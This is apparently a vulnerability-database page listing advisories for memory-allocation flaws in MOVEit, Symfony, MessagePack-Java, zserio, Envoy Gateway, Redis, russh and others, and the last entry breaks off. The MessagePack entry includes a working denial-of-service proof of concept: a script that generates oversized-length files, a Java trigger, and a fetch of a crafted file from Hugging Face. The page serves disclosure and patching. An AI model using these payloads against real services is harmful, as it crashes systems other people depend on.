GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-789

Allowed

Memory Allocation with Excessive Size Value

Abstraction: Variant · Status: Draft

API response cwe.mitre.org

The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated.

437 vulnerabilities reference this CWE, most recent first.

GHSA-CPWG-526G-9GC5

Vulnerability from github – Published: 2026-05-20 15:35 – Updated: 2026-05-20 15:35
VLAI
Details

Uncontrolled Memory Allocation vulnerability in Progress Software MOVEit Automation allows Excessive Allocation.

This issue affects MOVEit Automation: before 2025.0.11, from 2025.1.0 before 2025.1.7.

Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-8485"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-20T14:17:04Z",
    "severity": "MODERATE"
  },
  "details": "Uncontrolled Memory Allocation vulnerability in Progress Software MOVEit Automation allows Excessive Allocation.\n\nThis issue affects MOVEit Automation: before 2025.0.11, from 2025.1.0 before 2025.1.7.",
  "id": "GHSA-cpwg-526g-9gc5",
  "modified": "2026-05-20T15:35:34Z",
  "published": "2026-05-20T15:35:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8485"
    },
    {
      "type": "WEB",
      "url": "https://docs.progress.com/bundle/moveit-automation-release-notes-2026/page/Fixed-Issues-2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CR49-FX2V-9P57

Vulnerability from github – Published: 2022-05-17 04:19 – Updated: 2024-04-25 22:07
VLAI
Summary
Symfony Denial of Service Via Long Password Hashing
Details

The Security component in Symfony 2.0.x before 2.0.25, 2.1.x before 2.1.13, 2.2.x before 2.2.9, and 2.3.x before 2.3.6 allows remote attackers to cause a denial of service (CPU consumption) via a long password that triggers an expensive hash computation, as demonstrated by a PBKDF2 computation, a similar issue to CVE-2013-5750.

Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.0.25"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.0"
            },
            {
              "fixed": "2.1.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.3.0"
            },
            {
              "fixed": "2.3.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/polyfill"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.10.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/security"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.0.25"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/security"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.0"
            },
            {
              "fixed": "2.1.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/security"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/security"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.3.0"
            },
            {
              "fixed": "2.3.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2013-5958"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-25T22:04:14Z",
    "nvd_published_at": "2014-12-27T18:59:00Z",
    "severity": "MODERATE"
  },
  "details": "The Security component in Symfony 2.0.x before 2.0.25, 2.1.x before 2.1.13, 2.2.x before 2.2.9, and 2.3.x before 2.3.6 allows remote attackers to cause a denial of service (CPU consumption) via a long password that triggers an expensive hash computation, as demonstrated by a PBKDF2 computation, a similar issue to CVE-2013-5750.",
  "id": "GHSA-cr49-fx2v-9p57",
  "modified": "2024-04-25T22:07:30Z",
  "published": "2022-05-17T04:19:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-5958"
    },
    {
      "type": "WEB",
      "url": "https://github.com/symfony/symfony/issues/11522"
    },
    {
      "type": "WEB",
      "url": "https://github.com/symfony/polyfill/pull/155"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/polyfill/CVE-2013-5958.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/security/CVE-2013-5958.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2013-5958.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/symfony/symfony"
    },
    {
      "type": "WEB",
      "url": "https://symfony.com/blog/security-releases-cve-2013-5958-symfony-2-0-25-2-1-13-2-2-9-and-2-3-6-released"
    },
    {
      "type": "WEB",
      "url": "http://symfony.com/blog/security-releases-cve-2013-5958-symfony-2-0-25-2-1-13-2-2-9-and-2-3-6-released"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Symfony Denial of Service Via Long Password Hashing"
}

GHSA-CW39-R4H6-8J3X

Vulnerability from github – Published: 2026-01-05 14:59 – Updated: 2026-01-05 14:59
VLAI
Summary
MessagePack for Java Vulnerable to Remote DoS via Malicious EXT Payload Allocation
Details

Summary

Affected Components:

org.msgpack.core.MessageUnpacker.readPayload()
org.msgpack.core.MessageUnpacker.unpackValue()
org.msgpack.value.ExtensionValue.getData()

A denial-of-service vulnerability exists in MessagePack for Java when deserializing .msgpack files containing EXT32 objects with attacker-controlled payload lengths. While MessagePack-Java parses extension headers lazily, it later trusts the declared EXT payload length when materializing the extension data. When ExtensionValue.getData() is invoked, the library attempts to allocate a byte array of the declared length without enforcing any upper bound. A malicious .msgpack file of only a few bytes can therefore trigger unbounded heap allocation, resulting in JVM heap exhaustion, process termination, or service unavailability. This vulnerability is triggered during model loading / deserialization, making it a model format vulnerability suitable for remote exploitation.

PoC

import msgpack
import struct
import os

OUTPUT_DIR = "bombs"
os.makedirs(OUTPUT_DIR, exist_ok=True)

# EXT format: fixext / ext8 / ext16 / ext32
# ext32 allows attacker-controlled length (uint32)

length = 1
step = 10_000_000

while True:
    try:
        # EXT32: 0xC9 | length (4 bytes) | type (1 byte)
        header = b'\xC9' + struct.pack(">I", length) + b'\x01'
        payload = b'A'   # actual data tiny

        data = header + payload

        fname = f"{OUTPUT_DIR}/ext_length_{length}.msgpack"
        with open(fname, "wb") as f:
            f.write(data)

        print(f"[+] Generated EXT bomb with declared length={length}")
        length += step

    except Exception as e:
        print("[!] Stopped:", e)
        break

Download dependency: curl -LO https://repo1.maven.org/maven2/org/msgpack/msgpack-core/0.9.8/msgpack-core-0.9.8.jar Java Reproducer

// Main.java
import org.msgpack.core.MessagePack;
import org.msgpack.core.MessageUnpacker;
import org.msgpack.value.ExtensionValue;

import java.nio.file.Files;
import java.nio.file.Paths;

public class Main {
    public static void main(String[] args) throws Exception {

        byte[] data = Files.readAllBytes(
            Paths.get("ext_length_470000001.msgpack")
        );

        MessageUnpacker unpacker =
            MessagePack.newDefaultUnpacker(data);

        ExtensionValue ext =
            unpacker.unpackValue().asExtensionValue();

        // Vulnerability trigger:
        byte[] payload = ext.getData();

        System.out.println(payload.length);
    }
}

Compile

javac -cp msgpack-core-0.9.8.jar Main.java

Run (with limited heap)

java -Xmx256m -cp .:msgpack-core-0.9.8.jar Main

Observed Result:

Exception in thread "main" java.lang.OutOfMemoryError: Java heap space
    at org.msgpack.core.MessageUnpacker.readPayload(...)
    at org.msgpack.core.MessageUnpacker.unpackValue(...)

var u = new java.net.URL("https://huggingface.co/Blackbloodhacker/msgpack/resolve/main/ext_length_470000001.msgpack");
var d = u.openStream().readAllBytes();
var up = org.msgpack.core.MessagePack.newDefaultUnpacker(d);
up.unpackValue().asExtensionValue().getData();

Run:

java -Xmx256m -cp .:msgpack-core-0.9.8.jar Main

A remotely hosted model file on Hugging Face can cause denial of service when loaded by a Java-based consumer.

Resolution

This issue is addressed in https://github.com/msgpack/msgpack-java/commit/daa2ea6b2f11f500e22c70a22f689f7a9debdeae by gradually allocating memory for large inputs, for both EXT32/BIN32 data types. This patch is released in msgpack-java 0.9.11 https://github.com/msgpack/msgpack-java/releases/tag/v0.9.11

Impact

This vulnerability enables a remote denial-of-service attack against applications that deserialize untrusted .msgpack model files using MessagePack for Java. A specially crafted but syntactically valid .msgpack file containing an EXT32 object with an attacker-controlled, excessively large payload length can trigger unbounded memory allocation during deserialization. When the model file is loaded, the library trusts the declared length metadata and attempts to allocate a byte array of that size, leading to rapid heap exhaustion, excessive garbage collection, or immediate JVM termination with an OutOfMemoryError. The attack requires no malformed bytes, user interaction, or elevated privileges and can be exploited remotely in real-world environments such as model registries, inference services, CI/CD pipelines, and cloud-based model hosting platforms that accept or fetch .msgpack artifacts. Because the malicious file is extremely small yet valid, it can bypass basic validation and scanning mechanisms, resulting in complete service unavailability and potential cascading failures in production systems.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.msgpack:msgpack-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-21452"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-05T14:59:12Z",
    "nvd_published_at": "2026-01-02T21:16:03Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nAffected Components:\n```\norg.msgpack.core.MessageUnpacker.readPayload()\norg.msgpack.core.MessageUnpacker.unpackValue()\norg.msgpack.value.ExtensionValue.getData()\n```\nA denial-of-service vulnerability exists in MessagePack for Java when deserializing .msgpack files containing EXT32 objects with attacker-controlled payload lengths. While MessagePack-Java parses extension headers lazily, it later trusts the declared EXT payload length when materializing the extension data. When ExtensionValue.getData() is invoked, the library attempts to allocate a byte array of the declared length without enforcing any upper bound. A malicious .msgpack file of only a few bytes can therefore trigger unbounded heap allocation, resulting in JVM heap exhaustion, process termination, or service unavailability. This vulnerability is triggered during model loading / deserialization, making it a model format vulnerability suitable for remote exploitation.\n\n### PoC\n```\nimport msgpack\nimport struct\nimport os\n\nOUTPUT_DIR = \"bombs\"\nos.makedirs(OUTPUT_DIR, exist_ok=True)\n\n# EXT format: fixext / ext8 / ext16 / ext32\n# ext32 allows attacker-controlled length (uint32)\n\nlength = 1\nstep = 10_000_000\n\nwhile True:\n    try:\n        # EXT32: 0xC9 | length (4 bytes) | type (1 byte)\n        header = b\u0027\\xC9\u0027 + struct.pack(\"\u003eI\", length) + b\u0027\\x01\u0027\n        payload = b\u0027A\u0027   # actual data tiny\n\n        data = header + payload\n\n        fname = f\"{OUTPUT_DIR}/ext_length_{length}.msgpack\"\n        with open(fname, \"wb\") as f:\n            f.write(data)\n\n        print(f\"[+] Generated EXT bomb with declared length={length}\")\n        length += step\n\n    except Exception as e:\n        print(\"[!] Stopped:\", e)\n        break\n```\nDownload dependency: curl -LO https://repo1.maven.org/maven2/org/msgpack/msgpack-core/0.9.8/msgpack-core-0.9.8.jar Java Reproducer\n```\n// Main.java\nimport org.msgpack.core.MessagePack;\nimport org.msgpack.core.MessageUnpacker;\nimport org.msgpack.value.ExtensionValue;\n\nimport java.nio.file.Files;\nimport java.nio.file.Paths;\n\npublic class Main {\n    public static void main(String[] args) throws Exception {\n\n        byte[] data = Files.readAllBytes(\n            Paths.get(\"ext_length_470000001.msgpack\")\n        );\n\n        MessageUnpacker unpacker =\n            MessagePack.newDefaultUnpacker(data);\n\n        ExtensionValue ext =\n            unpacker.unpackValue().asExtensionValue();\n\n        // Vulnerability trigger:\n        byte[] payload = ext.getData();\n\n        System.out.println(payload.length);\n    }\n}\n\n```\nCompile\n```\njavac -cp msgpack-core-0.9.8.jar Main.java\n```\nRun (with limited heap)\n```\njava -Xmx256m -cp .:msgpack-core-0.9.8.jar Main\n```\nObserved Result:\n```\nException in thread \"main\" java.lang.OutOfMemoryError: Java heap space\n    at org.msgpack.core.MessageUnpacker.readPayload(...)\n    at org.msgpack.core.MessageUnpacker.unpackValue(...)\n```\n```\nvar u = new java.net.URL(\"https://huggingface.co/Blackbloodhacker/msgpack/resolve/main/ext_length_470000001.msgpack\");\nvar d = u.openStream().readAllBytes();\nvar up = org.msgpack.core.MessagePack.newDefaultUnpacker(d);\nup.unpackValue().asExtensionValue().getData();\n```\nRun:\n```\njava -Xmx256m -cp .:msgpack-core-0.9.8.jar Main\n```\nA remotely hosted model file on Hugging Face can cause denial of service when loaded by a Java-based consumer.\n\n## Resolution \nThis issue is addressed in https://github.com/msgpack/msgpack-java/commit/daa2ea6b2f11f500e22c70a22f689f7a9debdeae by gradually allocating memory for large inputs, for both EXT32/BIN32 data types. This patch is released in msgpack-java 0.9.11 https://github.com/msgpack/msgpack-java/releases/tag/v0.9.11\n\n### Impact\nThis vulnerability enables a remote denial-of-service attack against applications that deserialize untrusted .msgpack model files using MessagePack for Java. A specially crafted but syntactically valid .msgpack file containing an EXT32 object with an attacker-controlled, excessively large payload length can trigger unbounded memory allocation during deserialization. When the model file is loaded, the library trusts the declared length metadata and attempts to allocate a byte array of that size, leading to rapid heap exhaustion, excessive garbage collection, or immediate JVM termination with an OutOfMemoryError. The attack requires no malformed bytes, user interaction, or elevated privileges and can be exploited remotely in real-world environments such as model registries, inference services, CI/CD pipelines, and cloud-based model hosting platforms that accept or fetch .msgpack artifacts. Because the malicious file is extremely small yet valid, it can bypass basic validation and scanning mechanisms, resulting in complete service unavailability and potential cascading failures in production systems.",
  "id": "GHSA-cw39-r4h6-8j3x",
  "modified": "2026-01-05T14:59:12Z",
  "published": "2026-01-05T14:59:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/msgpack/msgpack-java/security/advisories/GHSA-cw39-r4h6-8j3x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21452"
    },
    {
      "type": "WEB",
      "url": "https://github.com/msgpack/msgpack-java/commit/daa2ea6b2f11f500e22c70a22f689f7a9debdeae"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/msgpack/msgpack-java"
    },
    {
      "type": "WEB",
      "url": "https://github.com/msgpack/msgpack-java/releases/tag/v0.9.11"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MessagePack for Java Vulnerable to Remote DoS via Malicious EXT Payload Allocation"
}

GHSA-CWQ5-8PVQ-J65J

Vulnerability from github – Published: 2026-04-24 16:25 – Updated: 2026-05-04 20:08
VLAI
Summary
Zserio Runtime: Integer Overflow in BitStreamReader and Unbounded Memory Allocation in Deserialization
Details

Summary

Unbounded Memory Allocation (all platforms)

A crafted payload as small as 4-5 bytes can force memory allocations of up to 16 GB, crashing any process with an OOM error (Denial of Service).

Affected code (C++): - cpp/runtime/src/zserio/Array.h (line 1029) — m_rawArray.reserve(readLength) with unchecked readLength - cpp/runtime/src/zserio/BitStreamReader.h (lines 249, 281) — value.reserve(len) with unchecked len

Affected code (Java): - java/runtime/src/zserio/runtime/array/Array.java (line 271) — rawArray.reset(readSize) → new int[readSize] - java/runtime/src/zserio/runtime/io/ByteArrayBitStreamReader.java (line 245) — new byte[length]

Proof of Concept

Memory Allocation DoS (verified on 64-bit)

Payload Claimed Size Allocated Amplification
4 bytes 100,000,000 762 MB ~200 million x
5 bytes 2,147,483,647 ~16 GB system crash

The full PoC source code and Docker build files are available upon request.

Impact

zserio is the serialization framework underlying the NDS (Navigation Data Standard), used by 43 member companies including Toyota, BMW, Volkswagen, Mercedes-Benz, and others. According to the Eclipse zserio project:

"Zserio serialized data is used in millions of deployments in cars on the road"

Attack vectors include NDS.Live cloud map updates, map data supply chain compromise, and backend data processing pipelines. On 32-bit automotive ECUs, this could affect ADAS functionality.

Suggested Fix

For all runtimes: Validate varsize against stream size

if (claimedSize > remainingBytesInStream) {
    throw error("varsize claims more data than available in stream");
}

Disclosure Timeline

  • 2026-03-08: Reported to Woven by Toyota PSIRT (go-zserio)
  • 2026-03-10: Reported to ndsev/zserio maintainers via GitHub Security Advisory
  • 2026-03-23: Split off overflow vulnerability to own report
  • 90-day coordinated disclosure timeline

A patch for this issue is available at https://github.com/ndsev/zserio/releases/tag/v2.18.1.

Reporter

Ryuji Yasukochi (ryuji.yasu@gmail.com)

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.18.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.github.ndsev:zserio-runtime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.18.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33524"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-24T16:25:11Z",
    "nvd_published_at": "2026-04-24T19:17:09Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n### Unbounded Memory Allocation (all platforms)\n\nA crafted payload as small as 4-5 bytes can force memory allocations of up to 16 GB, crashing any process with an OOM error (Denial of Service).\n\n**Affected code (C++):**\n- `cpp/runtime/src/zserio/Array.h` (line 1029) \u2014 `m_rawArray.reserve(readLength)` with unchecked `readLength`\n- `cpp/runtime/src/zserio/BitStreamReader.h` (lines 249, 281) \u2014 `value.reserve(len)` with unchecked `len`\n\n**Affected code (Java):**\n- `java/runtime/src/zserio/runtime/array/Array.java` (line 271) \u2014 `rawArray.reset(readSize)` \u2192 `new int[readSize]`\n- `java/runtime/src/zserio/runtime/io/ByteArrayBitStreamReader.java` (line 245) \u2014 `new byte[length]`\n\n## Proof of Concept\n\n### Memory Allocation DoS (verified on 64-bit)\n\n| Payload | Claimed Size | Allocated | Amplification |\n|---------|-------------|-----------|---------------|\n| 4 bytes | 100,000,000 | 762 MB | ~200 million x |\n| 5 bytes | 2,147,483,647 | ~16 GB | system crash |\n\nThe full PoC source code and Docker build files are available upon request.\n\n## Impact\n\nzserio is the serialization framework underlying the **NDS (Navigation Data Standard)**, used by 43 member companies including Toyota, BMW, Volkswagen, Mercedes-Benz, and others. According to the Eclipse zserio project:\n\n\u003e \"Zserio serialized data is used in millions of deployments in cars on the road\"\n\nAttack vectors include NDS.Live cloud map updates, map data supply chain compromise, and backend data processing pipelines. On 32-bit automotive ECUs, this could affect ADAS functionality.\n\n## Suggested Fix\n\n### For all runtimes: Validate varsize against stream size\n\n```\nif (claimedSize \u003e remainingBytesInStream) {\n    throw error(\"varsize claims more data than available in stream\");\n}\n```\n\n## Disclosure Timeline\n\n- **2026-03-08:** Reported to Woven by Toyota PSIRT (go-zserio)\n- **2026-03-10:** Reported to ndsev/zserio maintainers via GitHub Security Advisory\n- **2026-03-23:** Split off overflow vulnerability to own report\n- **90-day coordinated disclosure timeline**\n\nA patch for this issue is available at https://github.com/ndsev/zserio/releases/tag/v2.18.1.\n\n## Reporter\n\nRyuji Yasukochi (ryuji.yasu@gmail.com)",
  "id": "GHSA-cwq5-8pvq-j65j",
  "modified": "2026-05-04T20:08:28Z",
  "published": "2026-04-24T16:25:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ndsev/zserio/security/advisories/GHSA-cwq5-8pvq-j65j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33524"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ndsev/zserio/commit/a9932de4b5eefb3afd5e18ca2fd758aa744a7c69"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ndsev/zserio"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Zserio Runtime: Integer Overflow in BitStreamReader and Unbounded Memory Allocation in Deserialization"
}

GHSA-CX5F-75FV-W3C7

Vulnerability from github – Published: 2024-12-07 15:34 – Updated: 2024-12-07 15:34
VLAI
Details

IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.5, 11.1, and 11.5 is vulnerable to a denial of service as the server may crash under certain conditions with a specially crafted query.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-41762"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770",
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-07T14:15:17Z",
    "severity": "MODERATE"
  },
  "details": "IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.5, 11.1, and 11.5 is vulnerable to a denial of service as the server may crash under certain conditions with a specially crafted query.",
  "id": "GHSA-cx5f-75fv-w3c7",
  "modified": "2024-12-07T15:34:10Z",
  "published": "2024-12-07T15:34:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41762"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7175946"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CXPQ-8V7Q-CG56

Vulnerability from github – Published: 2026-07-16 19:18 – Updated: 2026-07-16 19:18
VLAI
Summary
Envoy Gateway: Wasm HTTP fetch decompresses gzip without output-size limit
Details

Vulnerability report without repro case. Repro case may be added later after harness is complete.

Preconditions (4): - Tenant can create EnvoyExtensionPolicy (baseline) - Attacker hosts a gzip-bomb at a reachable URL - sha256 unset (optional field; check is post-decompression anyway) - No operator Wasm-URL allowlist (none exists in code)

Description

getFileFromGZ calls io.ReadAll on a raw gzip.Reader (httpfetcher.go:216) with no output bound, while the compressed input is capped at 256 MiB (httpfetcher.go:139). The bytes originate from a tenant-controlled EnvoyExtensionPolicy.spec.wasm[].code.http.url (envoyextensionpolicy.go:1077 → cache.go:248 → httpfetcher.go:147 → :233), so an untrusted tenant can point at a ~10 MiB gzip-of-zeros and force ~10 GiB allocation in the shared controller process. All candidate guards execute either before the body is buffered or after decompression. OOM-kills, restarts, re-reconciles same CR, crash-loops — persistent cross-tenant control-plane outage with PR:L/AC:L and scope change → HIGH despite availability-only.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/envoyproxy/gateway"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.8.0-rc.0"
            },
            {
              "fixed": "1.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/envoyproxy/gateway"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53716"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-16T19:18:08Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Vulnerability report without repro case. Repro case may be added later after harness is complete.\n\n**Preconditions (4):**\n- Tenant can create EnvoyExtensionPolicy (baseline)\n- Attacker hosts a gzip-bomb at a reachable URL\n- sha256 unset (optional field; check is post-decompression anyway)\n- No operator Wasm-URL allowlist (none exists in code)\n\n**Description**\n\ngetFileFromGZ calls io.ReadAll on a raw gzip.Reader (httpfetcher.go:216) with no output bound, while the compressed input is capped at 256 MiB (httpfetcher.go:139). The bytes originate from a tenant-controlled EnvoyExtensionPolicy.spec.wasm[].code.http.url (envoyextensionpolicy.go:1077 \u2192 cache.go:248 \u2192 httpfetcher.go:147 \u2192 :233), so an untrusted tenant can point at a ~10 MiB gzip-of-zeros and force ~10 GiB allocation in the shared controller process. All candidate guards execute either before the body is buffered or after decompression. OOM-kills, restarts, re-reconciles same CR, crash-loops \u2014 persistent cross-tenant control-plane outage with PR:L/AC:L and scope change \u2192 HIGH despite availability-only.",
  "id": "GHSA-cxpq-8v7q-cg56",
  "modified": "2026-07-16T19:18:08Z",
  "published": "2026-07-16T19:18:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/envoyproxy/gateway/security/advisories/GHSA-cxpq-8v7q-cg56"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/envoyproxy/gateway"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Envoy Gateway: Wasm HTTP fetch decompresses gzip without output-size limit"
}

GHSA-F46F-FJF4-H4M2

Vulnerability from github – Published: 2025-07-23 21:36 – Updated: 2025-07-25 06:30
VLAI
Details

Redis through 7.4.3 allows memory consumption via a multi-bulk command composed of many bulks, sent by an authenticated user. This occurs because the server allocates memory for the command arguments of every bulk, even when the command is skipped because of insufficient permissions.

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-46686"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-401",
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-23T19:15:33Z",
    "severity": "MODERATE"
  },
  "details": "Redis through 7.4.3 allows memory consumption via a multi-bulk command composed of many bulks, sent by an authenticated user. This occurs because the server allocates memory for the command arguments of every bulk, even when the command is skipped because of insufficient permissions.",
  "id": "GHSA-f46f-fjf4-h4m2",
  "modified": "2025-07-25T06:30:30Z",
  "published": "2025-07-23T21:36:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/redis/redis/security/advisories/GHSA-2r7g-8hpc-rpq9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46686"
    },
    {
      "type": "WEB",
      "url": "https://github.com/io-no/CVE-Reports/issues/1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/redis/redis"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F5V4-2WR6-HQMG

Vulnerability from github – Published: 2026-04-24 15:39 – Updated: 2026-05-13 13:34
VLAI
Summary
russh has pre-auth DoS via unbounded allocation in its keyboard-interactive auth handler
Details

Summary

A pre-authentication denial-of-service vulnerability exists in the server's keyboard-interactive authentication handler. A malicious client can crash any russh-based server that implements keyboard-interactive auth (e.g., for 2FA/TOTP) with a single malformed packet, requiring no credentials.

Vulnerability Details

In russh/src/server/encrypted.rs, the function read_userauth_info_response decodes a u32 count from the client's SSH_MSG_USERAUTH_INFO_RESPONSE and passes it directly to Vec::with_capacity():

let n = map_err!(u32::decode(r))?;

// Bound both allocation and iteration by remaining packet data to
// prevent a malicious client from causing a multi-GB allocation or
// billions of loop iterations with a crafted count.
// Each response needs at least 4 bytes (length prefix).
let max_responses = r.remaining_len().saturating_add(3) / 4;
let n = (n as usize).min(max_responses);
let mut responses = Vec::with_capacity(n);
for _ in 0..n {
    responses.push(Bytes::decode(r).ok())
}

